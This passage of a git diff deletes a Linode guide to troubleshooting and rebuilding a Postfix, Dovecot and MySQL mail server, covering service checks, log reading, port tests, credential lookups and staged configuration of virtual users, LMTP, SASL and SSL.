domain. This value is the source of the alias. - - INSERT INTO `mailserver`.`virtual_aliases` - (`domain_id`, `source`, `destination`) - VALUES - ('5', '@newdomain.com', 'myemail@gmail.com'); - -1. Verify that the new alias has been added. The new alias will be displayed in the output: - - SELECT * FROM mailserver.virtual_aliases; - -1. Exit MySQL: - - quit diff --git a/docs/guides/email/postfix/troubleshooting-problems-with-postfix-dovecot-and-mysql/index.md b/docs/guides/email/postfix/troubleshooting-problems-with-postfix-dovecot-and-mysql/index.md deleted file mode 100644 index e6b6e5d3bbb..00000000000 --- a/docs/guides/email/postfix/troubleshooting-problems-with-postfix-dovecot-and-mysql/index.md +++ /dev/null @@ -1,934 +0,0 @@ ---- -slug: troubleshooting-problems-with-postfix-dovecot-and-mysql -title: 'Troubleshooting Problems with Postfix, Dovecot, and MySQL' -description: 'This is a reference guide for testing and troubleshooting a email server running Postfix as it''s MTA, Dovecot as a POP3/IMAP server, and MySQL for database.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2013-07-22 -modified: 2014-03-24 -keywords: ["postfix", "dovecot", "mysql"] -tags: ["mysql","postfix","email","resolving"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/email/postfix/troubleshooting-problems-with-postfix-dovecot-and-mysql/','/email/postfix/troubleshooting/'] ---- - -![Troubleshooting Problems with Postfix, Dovecot, and MySQL](troubleshooting-problems-with-postfix-dovecot-and-mysql.jpg "Troubleshooting Problems with Postfix, Dovecot, and MySQL") - -This guide is a companion to the [Postfix, Dovecot, and MySQL](/cloud/guides/email-with-postfix-dovecot-and-mysql/) installation guide. Because setting up a mail server is tricky, we've created this companion troubleshooting guide to help you work through and resolve any problems you might be experiencing. By the time you reach the end of this guide, you'll know how to debug problems with your Postfix, Dovecot, and MySQL mail server. - -The first section, Troubleshooting Checklist, has a top-down approach to troubleshooting that will help you find specific errors for your mail server. The second section, Step-by-Step Configuration, uses a bottom-up approach that shows you how to get a basic mail server functioning and then gradually add more features. - -{{% content "email-warning-shortguide" %}} - -## Troubleshooting Checklist - -Correctly diagnosing a problem is the first step in solving it. At first glance, many mail server errors can seem quite general. Usually the first sign of a problem is that you try to create a test mail account and can't connect. This section is a crash course in finding mail server errors. We recommend reading through the following sections in order, because they progress from general to more specific troubleshooting techniques. - -### Are Postfix and Dovecot Running? - -Sometimes your mail server is not functioning correctly because the needed services are not running. For a mail server that has been running for a long time, [resource overuse](https://techdocs.akamai.com/cloud-computing/docs/troubleshooting-memory-issues-on-compute-instances) is the most likely cause of stopped services. It doesn't hurt to check your resource use to rule out that problem. However, when you're just setting up a new mail server, it's more likely that your service startup problems are being caused by configuration errors. Some configuration errors - particularly syntax errors - are serious enough that they can prevent a service from starting. - -To check that Postfix and Dovecot are running and to find startup errors, follow these steps: - -1. Run this command to check that Postfix is running: - - service postfix status - - You should see the following output: - - * postfix is running - -2. Next, run this command to check that Dovecot is running: - - service dovecot status - - You should see output similar to the following: - - dovecot start/running, process 2241 - -3. Examine the results. If you see no output, or output that says `stop/waiting` or `not running`, the service is not running. The next step is to try restarting the services. -4. Try to restart the services. Restarting Postfix and Dovecot is also a good troubleshooting procedure even if they're currently running, because then you can examine the startup messages, which can give you troubleshooting clues. Enter the following command to restart Postfix: - - service postfix restart - - You should see the following messages: - - * Stopping Postfix Mail Transport Agent postfix [ OK ] - * Starting Postfix Mail Transport Agent postfix [ OK ] - -5. Execute the following command to restart Dovecot: - - service dovecot restart - - You should see the following messages: - - dovecot stop/waiting - dovecot start/running, process 31171 - -6. Examine the results. If you get an error, or the restart message for Dovecot doesn't include a new process ID, there's something preventing the service from starting. -7. If you received a specific error from the restart attempt, search for it online. -8. Check the applications' startup logs to see more detailed messages. Postfix's stop and start messages are logged in `/var/log/mail.log` (along with all its other messages). Enter the following command to view the most recent lines in the log: - - tail /var/log/mail.log - - On a normal restart, you should see the following: - - {{< file "/var/log/mail.log" >}} -May 22 15:41:59 godel postfix/master[19624]: terminating on signal 15 -May 22 15:41:59 godel postfix/master[20232]: daemon started -- version 2.9.6, configuration /etc/postfix - -{{< /file >}} - - -9. Dovecot's default startup log is also in `/var/log/mail.log`. On a normal restart, you should see the following: - - {{< file "/var/log/mail.log" >}} -May 22 17:46:54 master: Warning: Killed with signal 15 (by pid=1 uid=0 code=kill) -May 22 17:48:09 master: Info: Dovecot v2.0.19 starting up (core dumps disabled) - -{{< /file >}} - - - {{< note respectIndent=false >}} -If you moved the Dovecot logs, the normal Dovecot startup messages will be in `/var/log/dovecot.log` instead. If you can't find the Dovecot logs, locate them with the following command: - -doveadm log find -{{< /note >}} - -10. If you don't see these normal startup messages, check for errors instead. Search for errors online. -11. If there's a problem during Dovecot's startup, you should also check `/var/log/upstart/dovecot.log`. On a normal startup, nothing will be logged to this file. However, if there is a startup problem, an entry will be added in this log which can be quite helpful. To view this file, run the following command: - - tail /var/log/upstart/dovecot.log - - Here's an example where a syntax error in the `/etc/dovecot/conf.d/10-master.conf` file has been identified: - - {{< file "/var/log/upstart/dovecot.log" >}} -doveconf: Fatal: Error in configuration file /etc/dovecot/conf.d/10-master.conf line 36: Unexpected '}' - -{{< /file >}} - - -12. If you find a syntax error, open up the offending file and look at the line mentioned (Line 36 in the example above). It's actually fairly common to get syntax errors during the Dovecot setup process, because there are so many different files and a lot of nested brackets. -13. Use [Notepad++](http://notepad-plus-plus.org) or some other program that can easily match brackets to help you fix the error. Or, you could restore the appropriate default configuration file (named with .orig, if you were following the main setup guide). - -### Check the Logs - -If Postfix, Dovecot, and MySQL are running, the next troubleshooting step is to check the mail logs. By default, all of the incoming and outgoing connections and any associated errors get logged in `/var/log/mail.log`. One of the most helpful ways to view the log file is with the `tail` command, which when combined with the `-f` flag, shows you the most recent part of the log live as it's updated. - -1. Start tailing the log by entering the following command: - - tail -f /var/log/mail.log - -2. Send yourself a test message or make a connection to the mail server. -3. View the log as it updates with the relevant information. -4. To stop tailing, press **CTRL-C**. - -If you see an error or warning in the log, copy it. Search for that exact error online (without the details specific to your server), and you'll likely be able to find a solution or additional troubleshooting help. - -### Enable Verbose Logs - -The default mail log may not contain all the information you need. In that case, the next step is to enable verbose logging for Postfix and Dovecot, and to separate the Postfix and Dovecot logs into two separate files so they're easier to sort through. The Postfix log will document messages that are relayed to or from outside servers, and the Dovecot log will record authorization attempts. - -#### Dovecot - -Follow these instructions to enable verbose logging for Dovecot and change the log location to `/var/log/dovecot.log`: - -1. Open the /etc/dovecot/conf.d/10-logging.conf file for editing by entering the following command: - - nano /etc/dovecot/conf.d/10-logging.conf - -2. Add this line to set the new file path for the log: - - {{< file "/etc/dovecot/conf.d/10-logging.conf" >}} -log_path = /var/log/dovecot.log - -{{< /file >}} - - -3. Uncomment the `auth_verbose` and `mail_debug` lines, and then set them to `yes`: - - {{< file "/etc/dovecot/conf.d/10-logging.conf" >}} -auth_verbose = yes - -mail_debug = yes - -{{< /file >}} - - -4. Save your changes. -5. Restart Dovecot by entering the following command: - - service dovecot restart - -The Dovecot log will now display more information about authorization attempts and inbox connections. You can view the new log at `/var/log/dovecot.log`. Remember to disable verbose logging when you're done troubleshooting so your server doesn't fill up with logs. - -#### Postfix - -Follow these instructions to enable verbose logging for Postfix: - -1. Open the `/etc/postfix/master.cf` files for editing by entering the following command: - - nano /etc/postfix/master.cf - -2. Add a `-v` to the `smtp` line to enable verbose logging: - - {{< file "/etc/postfix/master.cf" >}} -# ========================================================================== -# service type private unpriv chroot wakeup maxproc command + args -# (yes) (yes) (yes) (never) (100) -# ========================================================================== -smtp inet n - - - - smtpd -v - -{{< /file >}} - - -3. Save your changes. -4. Restart Postfix by entering the following command: - - service postfix restart - -The Postfix log will now display more information about messages that are coming from or going to outside servers. You can still view the log at `/var/log/mail.log`. Remember to disable verbose logging when you're done troubleshooting so your server doesn't fill up with logs. - -### Check Port Availability - -Sometimes email problems occur because the mail server and mail client aren't talking to each other on the same ports. For mail to get from client to server, or vice versa, both have to be using the same ports, and those ports also have to be open along the internet route between the two. If you are following the accompanying [Postfix, Dovecot, and MySQL](/cloud/guides/email-with-postfix-dovecot-and-mysql/) installation guide, you should be using the following ports: - -- 25, 465, or 587 with TLS encryption for outgoing mail (SMTP) -- 993 with SSL encryption for incoming IMAP -- 995 with SSL encryption for incoming POP3 - -First, check your mail client settings and make sure that you have the correct ports and security settings selected. - -Next, use the Telnet tool to check that ports are open both on your Linode and on the route between your client and your Linode. The same test should be run on both your Linode and your home computer. First we'll present how to run the test from both locations, and then we'll discuss the implications. - -#### Checking from a Linode - -To test on your Linode, follow these steps: - -1. Establish an SSH connection to your Linode. -2. Run the following command, replacing `12.34.56.78` with your Linode's IP address: - - telnet 12.34.56.78 25 - -3. Exit Telnet by pressing **CTRL-]**, then enter `quit`. -4. Repeat Step 2 for ports 465, 587, 993, and 995. - -Read the discussion of Telnet outcomes below, and use the output shown at the end of this section to analyze your results. - -#### Checking from a Mac - -To run a Telnet test on a Mac, follow these steps: - -1. Open the Terminal application. -2. Run the following command, replacing `12.34.56.78` with your Linode's IP address: - - telnet 12.34.56.78 25 - -3. Exit Telnet by pressing **CTRL-]**, then enter `quit`. -4. Repeat Step 2 for ports 465, 587, 993, and 995. - -Read the discussion of Telnet outcomes below, and use the output shown at the end of this section to analyze your results. - -#### Checking from a PC - -To run a Telnet test on a Windows computer, follow these steps. You will need to start by installing Telnet, since it doesn't come with Windows by default: - -1. Open the Control Panel. -2. Select **Programs**. -3. From **Programs and Features**, select **Turn Windows features on or off**. -4. Select **Telnet Client** from the menu. -5. Click **OK**. -6. Wait while the changes are applied. -7. Open the command prompt. -8. Run the following command, replacing `12.34.56.78` with your Linode's IP address: - - telnet 12.34.56.78 25 - -9. Exit Telnet by pressing **CTRL-]**, then enter `quit`. -10. Repeat Step 8 for ports 465, 587, 993, and 995. - -Read the discussion of Telnet outcomes below, and analyze your results according to the output shown below. - -#### Analyzing the Results - -If the test is successful, you should see output similar to the following: - - Trying 12.34.56.78... - Connected to 203-0-113-0.ip.linodeusercontent.com. - Escape character is '^]'. - 220 host.example.com ESMTP Postfix (Ubuntu) - -To cancel the connection, press **CTRL-]**, then enter `quit`. If the test fails, you will see a `Connection refused` message and Telnet will quit on its own. - -If you run the test on your Linode and it fails, you should check that you've configured the ports properly in your mail server setup (see Steps 33-34 in the [Dovecot section](/cloud/guides/email-with-postfix-dovecot-and-mysql/#dovecot) of the setup guide), that you've enabled ports 465 and 587 (see Steps 26-30 in the [Postfix section](/cloud/guides/email-with-postfix-dovecot-and-mysql/#postfix) of the setup guide), and that you don't have any [Firewall rules](/cloud/guides/control-network-traffic-with-iptables/) in place that block them. - -If you run the test on your Linode and it succeeds, but the test from your home computer fails, that indicates that the ports are being blocked somewhere on the network between your home computer and your Linode. It could be at your router, your ISP (Internet Service Provider), someone else's ISP, etc. The best way to diagnose networking issues is to generate an [MTR report](/cloud/guides/diagnosing-network-issues-with-mtr/). - -If the Telnet tests on your Linode and your home computer both succeed, and your mail client settings are correct, you can probably rule out any problems with ports. - -### Verifying Your Login Credentials - -Next we'll focus on your login credentials. If they aren't configured properly, this can cause problems: - -- Username and password are not accepted in your mail client -- Prompted for your password over and over again -- Unable to connect to the mail server - -The first and easiest step is re-entering your username and password in your mail client. Make sure you use the full username, including the `@example.com` part. Usernames and passwords are case-sensitive. If you're sure that you've entered the information correctly in your mail client, authorization may not be configured properly on the server side. - -The next thing to check is that your username and password are entered properly in the correct MySQL table. You can run the [MySQL tests](/cloud/guides/email-with-postfix-dovecot-and-mysql/#testing-the-email-server-with-mailutils) from the main setup article to make sure your tables are set up appropriately. You can also delete and re-add the appropriate row from the **mailserver.virtual\_users** table to make sure the password was entered correctly. If the information is correct in the MySQL table, it may be that Dovecot is not configured to look up authorization credentials in the right location. - -Dovecot includes an administrative tool which is very helpful in troubleshooting issues with login credentials. The `doveadm user` command lets you see the user database result for the username, user ID, group ID, and mailbox location for each email user. Reading the output from this tool tells you the database where Dovecot is looking for authorized users. If Dovecot is not looking for the expected database, you'll need to change the authorization-related settings in Dovecot so that it is using MySQL to look up users, and not some other user database. - -1. Run the `doveadm` command to look up your email user (including the `@example.com` part): - - doveadm user email1@example.com - - If everything is working correctly, you should see output like this: - - userdb: email1@example.com - uid : 5000 - gid : 5000 - home : /var/mail/vhosts/example.com/email1 - - If instead you get: - - userdb lookup: user email1@example.com doesn't exist - - This could indicate that 1) You didn't enter the email address correctly in the MySQL table - but we just checked that, so it could also be that 2) Dovecot is not looking for your user database in the right place. - -2. If Dovecot can't find the users in MySQL, it may still be looking for system users rather than virtual users. See if you get a response for your own SSH user: - - doveadm user myuser - - Dovecot should **not** find output for your system user. If it does, it will look like this: - - userdb: myuser - system_groups_user: myuser - uid : 1000 - gid : 1000 - home : /home/myuser - -3. If you do get this type of output, you need to adjust your Dovecot settings related to virtual users. If you don't get output for the system users either, this still indicates that you have some kind of error in the Dovecot settings related to users. Go back to the [Dovecot section](/cloud/guides/email-with-postfix-dovecot-and-mysql/#dovecot) of the main setup guide and pay special attention to the sections having to do with virtual users and the MySQL settings. - -## Step-by-Step Configuration - -For some troubleshooting scenarios, you may find that a top-down approach doesn't help you find the root cause of the problem. Sometimes, what you need is a bottom-up approach. - -The bottom-up approach presented here breaks up the complex task of building a mail server into smaller chunks. This has two benefits. First, each section focuses on just a few mail server functions and includes fewer details, which makes it easier to understand. By the end of the project, you should have a deep understanding of how the mail server works. Second, each chunk adds a discrete amount of testable functionality to the mail server. This makes it easier to find errors by limiting the scope of their possible locations. For example, if your mail server was working after you completed "Basic Dovecot," but is failing its tests after "Virtual Domains and Users," you know that the error is related to something you did in that section. - -The second part of this guide presents a step-by-step mail server build organized by function, progressing from core functions to more peripheral ones, with tests at each step. You should have the [main setup guide](/cloud/guides/email-with-postfix-dovecot-and-mysql/) open at the same time, because we will be referring back to it. As you read the main setup guide, you'll notice that we are installing items in a different order here. The main guide is designed for a streamlined approach that avoids editing the same file multiple times. This guide is focused on a deeper understanding of each component, so you will sometimes need to jump around to different sections of the main guide for reference. Once you successfully complete a stage, I suggest that you make a [system-level backup](https://techdocs.akamai.com/cloud-computing/docs/backup-service) so you can get back to that point easily! -{{< note type="alert" >}} -Keep in mind that the earlier builds presented here are functional, but should not be considered production-ready for security and functionality reasons, mainly because passwords are sent in plain text, and/or outgoing SMTP is not enabled. -{{< /note >}} - -Throughout this section, we will provide links to the appropriate [Postfix](http://www.postfix.org/documentation.html) and [Dovecot](http://wiki2.dovecot.org/) documentation. These are great jumping-off points. - -### Setting Up - -Read the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide. Follow the steps outlined in that section before installing your mail server. - -You may also want to log into your server as the root user, so you don't have to type "sudo" for each command. You can log in as root by entering the following command: - - su - -### Basic Postfix - -In this section, you'll install Postfix and configure it to deliver mail for your system user at your domain, which is the most basic configuration. You'll also send a test message and view it using Mailutils. - -1. Install Postfix by entering the following command: - - apt-get install postfix - -2. When prompted, select **Internet Site** for the configuration. (See Steps 6 & 7 from the [Installing Packages](/cloud/guides/email-with-postfix-dovecot-and-mysql/#install-packages) section of the primary guide, for this step and the next.) -3. Enter your fully-qualified domain name or any domain name that resolves to the server. -4. Open `/etc/postfix/main.cf` for editing, and add your domain(s) to the `mydestination` line. If your hostname and hosts files were set up correctly before installing Postfix, this list should already include your full-qualified domain name and several references to localhost, which you can leave as they are. - - {{< file "/etc/postfix/main.cf" >}} -mydestination = example.com, localhost - -{{< /file >}} - - -5. Restart Postfix by entering the following command: - - service postfix restart - - {{< note respectIndent=false >}} -Use that command whenever the instructions tell you to restart Postfix. Substitute `dovecot` for `postfix` when the instructions tell you to restart Dovecot. -{{< /note >}} - -6. Send your Linux system user a test message. This is the same user that you use for SSH. You should use the format <**myuser@example.com**>. -7. Install Mailutils by entering the following command: - - apt-get install mailutils - -8. Check your messages with Mailutils by entering the following command. You must be logged in as your own user, so drop out of root for now if you logged in as root earlier. - - mail - -9. Type the number of the message you want to read. -10. Type `quit` when you want to exit your system user's inbox. - -If you succeeded in sending your system user a test message, you have successfully installed Postfix and configured it for the most basic mail delivery. By default, it delivers mail only for system users, and mail is stored in a file called `/var/mail/myuser`. - -### Basic Dovecot - -In this section, you'll install Dovecot and set it up so you can check your email for your system user over an IMAP or POP3 connection, which is the most basic configuration. This section is based on Dovecot's [Basic Configuration Guide](http://wiki2.dovecot.org/BasicConfiguration), which is a great reference. - -1. Install Dovecot and its IMAP and POP3 packages by entering the following command: - - apt-get install dovecot-core dovecot-imapd dovecot-pop3d - -2. Open `/etc/dovecot/conf.d/10-mail.conf` for editing, and set the `mail_location` to the line shown below. This setting should direct Dovecot to look for mail in the same location where Postfix stores the mail, which should be `/var/mail/myuser` by default (Dovecot uses the variable `%u` so the correct username is used in the path). The mailbox format is designated as `mbox`. - - {{< file "/etc/dovecot/conf.d/10-mail.conf" >}} -mail_location = mbox:~/mail:INBOX=/var/mail/%u - -{{< /file >}} - - -3. Also in `/etc/dovecot/conf.d/10-mail.conf`, set the `mail_privileged_group` to `mail`: - - {{< file "/etc/dovecot/conf.d/10-mail.conf" >}} -mail_privileged_group = mail - -{{< /file >}} - - -4. In `/etc/dovecot/conf.d/10-auth.conf`, allow plain-text authentication by setting `disable_plaintext_auth` to `no`: - - {{< file "/etc/dovecot/conf.d/10-auth.conf" >}} -disable_plaintext_auth = no - -{{< /file >}} - - -5. In `/etc/pam.d/dovecot`, tell Dovecot to use standard UNIX authentication. This means that your SSH username and password will also work for mail. Edit the file so it contains only the following: - - {{< file "/etc/pam.d/dovecot" >}} -auth required pam_unix.so nullok account required pam_unix.so - -{{< /file >}} - - -6. Restart Dovecot. -7. Send yourself another test message. -8. Check your email. You can use either Telnet or a mail client. At this stage, your email address will be for your system user (), and your username and password will be the same as they are for SSH (no `@example.com` part in the username at this stage). Your connection type will be standard (non-secure) and your password will be plain. You will probably have to set up your mail client manually, rather than through a wizard. - -{{< note >}} -The Telnet and mail client tests will not work for `root`. Use a different system user. -{{< /note >}} - -If you succeeded in checking your mail over an IMAP or POP3 connection, you have successfully installed Dovecot and configured it for the most basic inbox access. - -### Virtual Domains and Users - -Now that Postfix and Dovecot are working, you should set up virtual domains and users. Having virtual users for mail is an important step forward in the security and convenience of your mail server, because it eliminates the need to create a system user for everyone who needs a mailbox. It also makes it easier to add new domains and users to the mail server. - -You'll need to make quite a few configuration changes related to virtual domains and users in both Postfix and Dovecot. Postfix and Dovecot both need to be configured for virtual domains and users at the same time, because you're changing the mailbox location, which needs to be coordinated between them. Here's a general checklist of what you'll be configuring in this section: - -- Make two new static files with the virtual user information (usernames, passwords, mailbox locations), one for Postfix and one for Dovecot. (You can't use the same file because they require different parameters and formatting.) You didn't need to write out your own authentication information before, because Postfix and Dovecot were just reading from the system authentication, but you need it now for virtual user authentication. Eventually you'll be saving this information in MySQL databases, but it's simpler to set it up in flat files for now. -- Tell Postfix and Dovecot to use the virtual users. -- List the virtual domains in the Postfix configuration file, instead of using the `mydestination` line. -- Create the new mailboxes in their new locations. They used to be at `/var/mail/myuser`, but now they will be at `/var/mail/vhosts/example.com/user/`. This has the added bonus of letting you have the same username at different domains: for example, you can now have and be two different mailboxes. -- Tell Postfix and Dovecot to use the new mailbox locations. -- Grant one system user, called `vmail`, access to all the mailboxes, rather than having each system user own its own mailbox. - -You may want to reference [Postfix's Virtual Readme](http://www.postfix.org/VIRTUAL_README.html) and [Dovecot's wiki page on virtual users](http://wiki2.dovecot.org/VirtualUsers) as you work through this section. - -1. Create a virtual users file for Postfix. This will list all the email addresses and their delivery locations relative to the `virtual_mailbox_base` parameter (which gets configured in `/etc/postfix/main.cf`, which we'll get to momentarily). We're calling the file `/etc/postfix/virtual_users_list`, and it should look something like this: - - {{< file "/etc/postfix/virtual_users_list" >}} -email1@example.com example.com/email1/ -email2@example.com example.com/email2/ - -{{< /file >}} - -2. Create a virtual users file for Dovecot. This will list all your email usernames (just use the email addresses) and their passwords in plain text (obviously this is not production-ready). It should look something like this: - - {{< file "/etc/dovecot/users" >}} -email1@example.com:{Plain}firstpassword -email2@example.com:{Plain}secondpassword - -{{< /file >}} - - - This list allows Dovecot to check the usernames and passwords for virtual users before granting them access to their inboxes. - -3. Edit Postfix's main configuration file, `/etc/postfix/main.cf`. Remove every domain except `localhost` from the `mydestination` parameter. Create a new parameter called `virtual_mailbox_domains` and add your domains: - - {{< file "/etc/postfix/main.cf" >}} -virtual_mailbox_domains = example.com, hostname, hostname.example.com, localhost.example.com - -{{< /file >}} - - - {{< note respectIndent=false >}} -There can be no overlap between the `mydestination` and `virtual_mailbox_domains` lists. -{{< /note >}} - -4. Also in `/etc/postfix/main.cf`, add the line `virtual_mailbox_base` and set it to `/var/mail/vhosts` so mail gets delivered to the new mailboxes. The final part of the path for each user is in the `virtual_users_list` file from Step 1. - - {{< file "/etc/postfix/main.cf" >}} -virtual_mailbox_base = /var/mail/vhosts - -{{< /file >}} - - -5. Also in `/etc/postfix/main.cf`, add the line `virtual_mailbox_maps` and set it to the virtual users file you created in Step 1. It is a "hash" type file. If you're following this example exactly, it will be: - - {{< file "/etc/postfix/main.cf" >}} -virtual_mailbox_maps = hash:/etc/postfix/virtual_users_list - -{{< /file >}} - - - However, you can name this file anything you want, and set the `virtual_mailbox_maps` parameter accordingly. - -6. The last change for `/etc/postfix/main.cf` in this section is to set up the new `vmail` system user. This user will own the virtual mailboxes. Add the following new lines: - - {{< file "/etc/postfix/main.cf" >}} -virtual_minimum_uid = 100 -virtual_uid_maps = static:5000 -virtual_gid_maps = static:5000 - -{{< /file >}} - -7. Let's take a moment to sum up all the changes that you just made in `/etc/postfix/main.cf`. You removed all the domains except `localhost` from the `mydestination` parameter, and added several new lines for the virtual domains and users, which should look like this (add the `#Virtual domains` comment if desired): - - {{< file "/etc/postfix/main.cf" >}} -#Virtual domains -virtual_mailbox_domains = example.com, host -virtual_mailbox_base = /var/mail/vhosts -virtual_mailbox_maps = hash:/etc/postfix/virtual_users_list -virtual_minimum_uid = 100 -virtual_uid_maps = static:5000 -virtual_gid_maps = static:5000 - -{{< /file >}} - - -8. Now that you've made all the changes in the Postfix configuration files, you should make sure Postfix is reading the new settings with the following command: - - postmap /etc/postfix/virtual_users_list - -9. Make the `vmail` user and group: - - groupadd -g 5000 vmail - useradd -g vmail -u 5000 vmail -d /var/mail - -10. Make the directory `/var/mail/vhosts/example.com/email1` for every email address. You'll have to start by making the `vhosts` directory and then work your way down. You can use `mkdir` with the `-p` flag if desired. -11. Change the ownership of the `/var/mail` directory and everything below it to the `vmail` user and group: - - chown -R vmail:vmail /var/mail - - Great! Now the proper folders actually exist for mail delivery, and the user that owns those folders matches the one we told Postfix to use when writing new mail to the server. - -12. Restart Postfix. -13. Try sending yourself a test message. Check `/var/log/mail.log`; you should see something like this: - - {{< file "/var/log/mail.log" >}} -Mar 8 18:01:27 host postfix/virtual[4418]: E2C7528420: to=, relay=virtual, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to maildir) - -{{< /file >}} - - The part that says `relay=virtual` means you've got virtual domains and users set up properly. - -14. Next up is Dovecot. First, update the `mail_location` in `/etc/dovecot/conf.d/10-mail.conf`: - - {{< file "/etc/dovecot/conf.d/10-mail.conf" >}} -mail_location = maildir:~ #update mail_location -passdb { - driver = passwd-file - args = username_format=%u /etc/dovecot/users -} -userdb { - driver = static - args = uid=vmail gid=vmail home=/var/mail/vhosts/%d/%n -} - -{{< /file >}} - - - {{< note respectIndent=false >}} -The `passdb` section details how email users can authenticate. The `driver` line tells Dovecot you're using a flat file, and the `args` line tells it where it is and what format to expect. (This is the `/etc/dovecot/users` file you made in Step 2.) - -The `userdb` line tells Dovecot where to find the mail on the server and which system user it should use to access the mail files. Since the format for each mailbox's location is the same, the `userdb` can be static. You're telling it to use the `vmail` user to access the mailboxes. Finally, the `home=` parameter tells Dovecot to look for mail in `var/mail/vhosts/example.com/user`. This setting MUST match the `virtual_mailbox_base` + `/etc/postfix/virtual_users_list` relative path in Postfix's settings. You have to tell Dovecot to look for mail in the same place you told Postfix to put the mail. -{{< /note >}} - -16. Now you just need to tell Dovecot to use `auth-passwdfile.conf.ext` instead of `auth-system.conf.ext`, so it uses that lovely new password file you created in Step 2. In `/etc/dovecot/conf.d/10-auth.conf`, add `#` to comment out the system user file, and remove `#` to enable the passwdfile config file: - - {{< file "/etc/dovecot/conf.d/10-auth.conf" >}} -#!include auth-system.conf.ext -!include auth-passwdfile.conf.ext - -{{< /file >}} - - -17. Restart Dovecot. -18. Send yourself another test message. -19. See if you can check your email with IMAP or POP3; you can use a mail client or Telnet. You should now be able to use your email address and email password to log in, rather than your system username and password. - - {{< note respectIndent=false >}} -Remember that these three paths have to match: the `virtual_mailbox_base` + `/etc/postfix/virtual_users_list` relative path in Postfix's settings, the `mail_location` in Dovecot, and the `home=` in Dovecot. -{{< /note >}} - -If your most recent test worked, you have now set up both Postfix and Dovecot successfully with virtual domains and users. - -### Dovecot's LMTP for Local Delivery - -Now that you have virtual domains and users working, it's time to update the local delivery agent. By default, Postfix uses its own built-in LDA. We're going to switch to using Dovecot's LMTP (Local Mail Transfer Protocol) service instead. To do this, we have to set up a socket in Dovecot which Postfix can use. - -See [Dovecot's wiki article about LMTP](http://wiki2.dovecot.org/HowTo/PostfixDovecotLMTP) for the official documentation. - -1. Install `dovecot-lmtpd` by entering the following command: - - apt-get install dovecot-lmtpd - -2. In `/etc/dovecot/dovecot.conf`, add or modify the `protocols` line to look like the following. If you need to add the line, you can add it below `!include_try /usr/share/dovecot/protocols.d/*.protocol`. - - {{< file "/etc/dovecot/dovecot.conf" >}} -protocols = imap pop3 lmtp - -{{< /file >}} - - -3. Carefully edit the existing `service lmtp` section of `/etc/dovecot/conf.d/10-master.conf` to look like the following, which will enable the socket: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -service lmtp { - unix_listener /var/spool/postfix/private/dovecot-lmtp { - mode = 0600 - user = postfix - group = postfix - } - # Create inet listener only if you can't use the above UNIX socket - #inet_listener lmtp { - # Avoid making LMTP visible for the entire internet - #address = - #port = - #} -} - -{{< /file >}} - - - {{< note respectIndent=false >}} -Make sure you count your brackets. An extra or missing bracket in this section will produce a syntax error that prevents Dovecot from starting. -{{< /note >}} - -4. Restart Dovecot. -5. Make sure the socket exists: - - ls /var/spool/postfix/private/dovecot-lmtp - -6. Now, tell Postfix to use the new socket for local delivery. In `/etc/postfix/main.cf`, set this line: - - {{< file "/etc/postfix/main.cf" >}} -virtual_transport = lmtp:unix:private/dovecot-lmtp - -{{< /file >}} - - -7. Restart Postfix. -8. Send yourself a test message. Make sure you can still receive mail. - -### Authentication Hand-off from Postfix to Dovecot - -By default, Postfix won't let you send email unless you're logged into the server directly. This is a good default, because you don't want to become a spam hub. However, you want to loosen a production server's settings slightly to let authenticated email users send mail. As a precursor to that, you need to set up authentication for Postfix. Since Dovecot already does a great job handling authentication when users want to check their email, you'll let it handle authentication for Postfix as well. - -This process is very similar to the one for LMTP, because you're first creating a socket in Dovecot and then telling Postfix to use it. For more information, see [Dovecot's wiki article about Postfix and SASL](http://wiki2.dovecot.org/HowTo/PostfixAndDovecotSASL). - -1. Carefully edit `/etc/dovecot/conf.d/10-master.conf` to look like the following, which will enable the socket: - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -service auth { - # auth_socket_path points to this userdb socket by default. It's typically - # used by dovecot-lda, doveadm, possibly imap process, etc. Its default - # permissions make it readable only by root, but you may need to relax these - # permissions. Users that have access to this socket are able to get a list - # of all usernames and get results of everyone's userdb lookups. - unix_listener /var/spool/postfix/private/auth { - mode = 0666 - user = postfix - group = postfix - } - - unix_listener auth-userdb { - mode = 0600 - user = vmail - #group = - } - - # Postfix smtp-auth - #unix_listener /var/spool/postfix/private/auth { - # mode = 0666 - #} - - # Auth process is run as this user. - #user = $default_internal_user -} - -{{< /file >}} - - - {{< note respectIndent=false >}} -Again, watch your brackets. -{{< /note >}} - -2. In the `service auth-worker` section, set `user` to `vmail`. - - {{< file "/etc/dovecot/conf.d/10-master.conf" >}} -service auth-worker { - # Auth worker process is run as root by default, so that it can access - # /etc/shadow. If this isn't necessary, the user should be changed to - # $default_internal_user. - user = vmail -} - -{{< /file >}} - -3. Restart Dovecot. -4. Check that /var/spool/postfix/private/auth exists by entering the following command: - - ls /var/spool/postfix/private/auth - -5. Now you'll configure Postfix to use Dovecot's authentication. For more information, see [Postfix's Dovecot SASL guide](http://www.postfix.org/SASL_README.html#server_dovecot) and [Postfix's guide on enabling SASL](http://www.postfix.org/SASL_README.html#server_sasl_enable). Add the following lines to `/etc/postfix/main.cf`. This tells Postfix the authentication type, the location of the socket, and that SASL authentication should be enabled: - - {{< file "/etc/postfix/main.cf" >}} -smtpd_sasl_type = dovecot -smtpd_sasl_path = private/auth -smtpd_sasl_auth_enable = yes - -{{< /file >}} - -6. Restart Postfix. -7. Send yourself a test message and make sure you can still receive it. - -If your test succeeds, you've just finished setting up Dovecot's LMTP service as your local delivery agent. - -### SSL Encryption - -Now that authentication is set up, let's make sure the authentication process is secure. To do this, you'll require all authentication attempts to be encrypted with SSL or STARTTLS. For more information, see [Dovecot's wiki article on SSL encryption](http://wiki2.dovecot.org/SSL). - -1. Open `/etc/dovecot/conf.d/10-ssl.conf` for editing, and then set `ssl` to `required`: - - {{< file "/etc/dovecot/conf.d/10-ssl.conf" >}} -ssl = required - -{{< /file >}} - - -2. Also in `/etc/dovecot/conf.d/10-ssl.conf`, check the paths to the SSL certificate and key. They should be set to Dovecot's certificate and key by default. If that's what you're using, leave these settings be. Otherwise, update the paths to the certificate and key you want to use. - - {{< file "/etc/dovecot/conf.d/10-ssl.conf" >}} -ssl_cert = 